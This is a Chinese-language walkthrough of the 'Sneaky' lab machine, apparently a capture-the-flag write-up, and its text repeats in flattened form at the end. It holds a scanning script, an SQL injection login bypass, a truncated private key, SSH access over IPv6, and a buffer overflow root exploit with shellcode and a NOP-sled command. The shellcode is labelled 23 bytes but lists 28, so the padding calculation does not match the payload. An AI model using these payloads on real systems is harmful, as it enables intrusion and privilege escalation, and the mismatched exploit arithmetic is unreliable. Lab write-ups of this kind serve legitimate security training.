[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升
字数 1573 2025-08-29 08:30:06

SNMP+SSH-IPV6+BOF-NOP-Sled 权限提升技术详解

1. 信息收集阶段

1.1 目标识别

目标IP地址: 10.10.10.20

开放端口扫描结果:

  • TCP 22: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
  • TCP 80: Apache httpd 2.4.7 (Ubuntu)

扫描命令:

ip='10.10.10.20'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
  if [ -n "$ports" ]; then 
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
    nmap -Pn -sV -sC -p "$ports" "$ip"; 
  else 
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
  fi; 
else 
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.2 SNMP信息泄露

通过SNMP协议获取IPv6地址:

snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'

获取到的IPv6地址: dead:beef:0000:0000:0250:56ff:feb9:0752

2. IPv6基础知识

2.1 IPv6地址表示法

示例: 2001:0db8:85a3:0000:0000:8a2e:0370:7334

双冒号(::)缩写: 2001:0db8:85a3::8a2e:0370:7334

2.2 IPv6地址类型

地址类型 前缀 描述
全局单播地址 2000::/3 互联网中的唯一可路由地址
链路本地地址 FE80::/10 仅限于本地链路通信
唯一本地地址(ULA) FC00::/7 类似IPv4的私有地址
回环地址 ::1/128 相当于IPv4的127.0.0.1
未指定地址 ::/128 相当于IPv4的0.0.0.0
多播地址 FF00::/8 用于多播通信
IPv4映射地址 ::FFFF:0:0/96 兼容IPv4的IPv6地址

2.3 IPv6扫描注意事项

  • IPv6最小子网通常是/64,意味着有2^64个可能地址
  • 暴力扫描几乎不可行,必须依赖信息泄露或其他方法获取具体地址

3. Web应用漏洞利用

3.1 目录扫描

使用feroxbuster进行目录扫描:

feroxbuster --url 'http://10.10.10.20'

发现敏感目录: http://10.10.10.20/dev/

3.2 SQL注入漏洞

在发现的目录中可能存在SQL注入点:

admin' or 1=1;#

4. SSH通过IPv6绕过限制

4.1 获取SSH私钥

通过漏洞获取的RSA私钥:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
[...省略部分内容...]
-----END RSA PRIVATE KEY-----

4.2 通过IPv6连接SSH

管理员可能禁用了IPv4的SSH访问,但忽略了IPv6限制:

ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:0752

5. 权限提升:缓冲区溢出+NOP滑梯

5.1 目标程序分析

目标程序路径: /usr/local/bin/chal

关键漏洞:

char var_16e[366];  // 缓冲区大小366字节,但最多存储365个字符

5.2 安全检查状态

使用checksec检查程序保护机制:

CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

5.3 缓冲区溢出利用步骤

  1. 确定溢出偏移量:

    gdb-peda$ pattern create 1024
    gdb-peda$ pattern offset 0x25415525
    

    确定偏移量为362字节

  2. 确认NOP滑梯范围:

    gdb -q /usr/local/bin/chal
    (gdb) r $(python2 -c 'print "A"*362')
    (gdb) x/100x $esp
    

    确认可执行区域: 0xbffff740-0xbffff8af

  3. 选择稳定的返回地址: 0xbffff750

5.4 构造利用载荷

Shellcode (23字节):

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

NOP滑梯长度: 362 - 23 = 339

完整利用命令:

/usr/local/bin/chal $(python2 -c 'print "\x90"*339 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')

6. 标志获取

  • 用户标志: f18b5084af22f6908e2e778569e4682a
  • Root标志: 2d21ee153f5d1e517dcfc197a58a2e37

7. 技术要点总结

  1. SNMP信息泄露是获取内部网络信息的重要途径

  2. IPv6配置疏忽常被管理员忽略,是绕过访问控制的有效方法

  3. 旧版SSH配置需要特殊参数连接(PubkeyAcceptedKeyTypesHostKeyAlgorithms)

  4. 缓冲区溢出利用的关键步骤:

    • 确定偏移量
    • 检查内存保护机制
    • 定位可执行内存区域
    • 构造NOP滑梯和shellcode
    • 精确控制返回地址
  5. 开发安全建议:

    • 启用所有内存保护机制(CANARY, NX, PIE等)
    • 对用户输入进行严格验证
    • 定期检查服务配置,避免信息泄露
SNMP+SSH-IPV6+BOF-NOP-Sled 权限提升技术详解 1. 信息收集阶段 1.1 目标识别 目标IP地址: 10.10.10.20 开放端口扫描结果: TCP 22: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 TCP 80: Apache httpd 2.4.7 (Ubuntu) 扫描命令: 1.2 SNMP信息泄露 通过SNMP协议获取IPv6地址: 获取到的IPv6地址: dead:beef:0000:0000:0250:56ff:feb9:0752 2. IPv6基础知识 2.1 IPv6地址表示法 示例: 2001:0db8:85a3:0000:0000:8a2e:0370:7334 双冒号(::)缩写: 2001:0db8:85a3::8a2e:0370:7334 2.2 IPv6地址类型 | 地址类型 | 前缀 | 描述 | |---------|------|------| | 全局单播地址 | 2000::/3 | 互联网中的唯一可路由地址 | | 链路本地地址 | FE80::/10 | 仅限于本地链路通信 | | 唯一本地地址(ULA) | FC00::/7 | 类似IPv4的私有地址 | | 回环地址 | ::1/128 | 相当于IPv4的127.0.0.1 | | 未指定地址 | ::/128 | 相当于IPv4的0.0.0.0 | | 多播地址 | FF00::/8 | 用于多播通信 | | IPv4映射地址 | ::FFFF:0:0/96 | 兼容IPv4的IPv6地址 | 2.3 IPv6扫描注意事项 IPv6最小子网通常是/64,意味着有2^64个可能地址 暴力扫描几乎不可行,必须依赖信息泄露或其他方法获取具体地址 3. Web应用漏洞利用 3.1 目录扫描 使用feroxbuster进行目录扫描: 发现敏感目录: http://10.10.10.20/dev/ 3.2 SQL注入漏洞 在发现的目录中可能存在SQL注入点: 4. SSH通过IPv6绕过限制 4.1 获取SSH私钥 通过漏洞获取的RSA私钥: 4.2 通过IPv6连接SSH 管理员可能禁用了IPv4的SSH访问,但忽略了IPv6限制: 5. 权限提升:缓冲区溢出+NOP滑梯 5.1 目标程序分析 目标程序路径: /usr/local/bin/chal 关键漏洞: 5.2 安全检查状态 使用checksec检查程序保护机制: 5.3 缓冲区溢出利用步骤 确定溢出偏移量 : 确定偏移量为362字节 确认NOP滑梯范围 : 确认可执行区域: 0xbffff740-0xbffff8af 选择稳定的返回地址 : 0xbffff750 5.4 构造利用载荷 Shellcode (23字节): NOP滑梯长度: 362 - 23 = 339 完整利用命令: 6. 标志获取 用户标志: f18b5084af22f6908e2e778569e4682a Root标志: 2d21ee153f5d1e517dcfc197a58a2e37 7. 技术要点总结 SNMP信息泄露 是获取内部网络信息的重要途径 IPv6配置疏忽 常被管理员忽略,是绕过访问控制的有效方法 旧版SSH配置 需要特殊参数连接( PubkeyAcceptedKeyTypes 和 HostKeyAlgorithms ) 缓冲区溢出利用 的关键步骤: 确定偏移量 检查内存保护机制 定位可执行内存区域 构造NOP滑梯和shellcode 精确控制返回地址 开发安全 建议: 启用所有内存保护机制(CANARY, NX, PIE等) 对用户输入进行严格验证 定期检查服务配置,避免信息泄露